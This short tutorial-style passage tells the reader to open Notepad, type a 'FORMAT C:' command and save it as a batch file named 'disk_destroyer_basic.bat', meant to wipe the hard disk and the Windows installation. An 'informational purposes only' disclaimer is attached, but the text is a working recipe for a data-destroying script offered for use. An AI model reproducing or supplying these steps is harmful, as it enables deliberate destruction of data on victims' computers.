What you should do here is to open a window of notepad. EnterFORMAT C: (INFORMATIONAL PURPOSE ONLY)and save the file as disk_destroyer_basic.bat.This won't spread or do anything fancy. It will just wipe your hard disk. There are a few quirks to be worked out with this method, but like I said, informational purposes only.
Doing so may also remove your Windows installation if your Windows install is on C:Be careful.